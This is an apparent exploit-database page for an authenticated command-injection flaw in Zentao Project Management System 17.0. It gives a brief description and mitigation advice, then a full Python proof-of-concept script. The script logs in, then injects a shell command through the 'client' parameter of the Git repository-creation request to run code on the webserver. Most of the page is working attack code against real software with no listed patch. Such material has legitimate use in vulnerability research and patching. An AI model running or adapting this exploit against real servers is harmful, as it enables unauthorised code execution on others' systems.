header-logo
Suggest Exploit
vendor:
Zentao Project Management System
by:
mister0xf
7.5
CVSS
HIGH
Authenticated Remote Code Execution (RCE)
78
CWE
Product Name: Zentao Project Management System
Affected Version From: 17
Affected Version To: Unknown
Patch Exists: NO
Related CWE:
CPE: a:easysoft:zentaopms:17.0
Metasploit:
Other Scripts:
Platforms Tested: Kali Linux 2022.2
2022

Zentao Project Management System 17.0 – Authenticated Remote Code Execution (RCE)

Zentao Project Management System 17.0 suffers from an authenticated command injection allowing remote attackers to obtain Remote Code Execution (RCE) on the hosting webserver. The vulnerability lies in the 'model.php' file, specifically in the 'elseif($scm == 'Git')' section. The 'client' parameter, taken from the POST request, is not properly sanitized before being used in a command. An attacker can inject arbitrary commands into the '$client tag' command, leading to command execution.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize and validate user input before using it in any command or query. Additionally, the use of least privilege principle should be enforced, ensuring that the web server process has minimal privileges necessary to perform its tasks.
Source

Exploit-DB raw data:

# Exploit Title: Zentao Project Management System 17.0 - Authenticated Remote Code Execution (RCE)
# Exploit Author: mister0xf 
# Date: 2022-10-8
# Software Link: https://github.com/easysoft/zentaopms
# Version: tested on 17.0 (probably works also on newer/older versions)
# Tested On: Kali Linux 2022.2
# Exploit Tested Using: Python 3.10.4
# Vulnerability Description:
# Zentao Project Management System 17.0 suffers from an authenticated command injection allowing 
# remote attackers to obtain Remote Code Execution (RCE) on the hosting webserver 

# Vulnerable Source Code:
# /module/repo/model.php:
# [...]
# $client = $this->post->client; // <-- client is taken from the POST request
# [...]
# elseif($scm == 'Git')
#        {
#            if(!is_dir($path))
#            {
#                dao::$errors['path'] = sprintf($this->lang->repo->error->noFile, $path);
#                return false;
#            }
#
#            if(!chdir($path))
#            {
#                if(!is_executable($path))
#                {
#                    dao::$errors['path'] = sprintf($this->lang->repo->error->noPriv, $path);
#                    return false;
#                }
#                dao::$errors['path'] = $this->lang->repo->error->path;
#                return false;
#            }
#
#            $command = "$client tag 2>&1"; // <-- command is injected here
#            exec($command, $output, $result);

import requests,sys
import hashlib
from urllib.parse import urlparse
from bs4 import BeautifulSoup

def banner():
    print('''
          ::::::::: :::::::::: ::::    :::  :::::::: :::::::::::     :::      ::::::::
          :+:  :+:        :+:+:   :+: :+:    :+:    :+:       :+: :+:   :+:    :+:
        +:+   +:+        :+:+:+  +:+ +:+           +:+      +:+   +:+  +:+    +:+
      +#+    +#++:++#   +#+ +:+ +#+ +#+           +#+     +#++:++#++: +#+    +:+
    +#+     +#+        +#+  +#+#+# +#+           +#+     +#+     +#+ +#+    +#+
  #+#      #+#        #+#   #+#+# #+#    #+#    #+#     #+#     #+# #+#    #+#
######### ########## ###    ####  ######## ########### ###     ###  ########
    ''')
def usage():
    print('Usage: zenciao user password http://127.0.0.1/path')
    
def main():

    if ((len(sys.argv)-1) != 3):
        usage()
        banner()
        exit()

    #proxy = {'http':'http://127.0.0.1:8080'}

    banner()
    username = sys.argv[1] 
    password = sys.argv[2] 
    target = sys.argv[3]

    # initialize session object
    session = requests.session()
  
    home_url = target+'/index.php'
    rand_url = target+'/index.php?m=user&f=refreshRandom&t=html'
    login_url = target+'/index.php?m=user&f=login&t=html'
    create_repo_url = target+'/index.php?m=repo&f=create&objectID=0'

    r1 = session.get(home_url)
    soup = BeautifulSoup(r1.text, "html.parser")
    script_tag = soup.find('script')
    redirect_url = script_tag.string.split("'")[1]
    r2 = session.get(target+redirect_url)

    # get random value
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    res = session.get(rand_url)
    rand = res.text

    # compute md5(md5(password)+rand)
    md5_pwd = hashlib.md5((hashlib.md5(password.encode()).hexdigest()+str(rand)).encode())

    # login request
    post_data = {"account":username,"password":md5_pwd.hexdigest(),"passwordStrength":1,"referer":"/zentaopms/www/","verifyRand":rand,"keepLogin":0,"captcha":""}
    my_referer = target+'/zentaopms/www/index.php?m=user&f=login&t=html'
    session.headers.update({'Referer': my_referer})
    session.headers.update({'X-Requested-With': 'XMLHttpRequest'})
    response = session.post(login_url, data=post_data) 

    # exploit rce
    # devops repo page
    r2 = session.get(create_repo_url)
    git_test_dir = '/home/'
    command = 'whoami;'
    exploit_post_data = {"SCM":"Git","name":"","path":git_test_dir,"encoding":"utf-8","client":command,"account":"","password":"","encrypt":"base64","desc":""}
    r3 = session.post(create_repo_url, data=exploit_post_data)
    print(r3.content)

if __name__ == '__main__':
    main()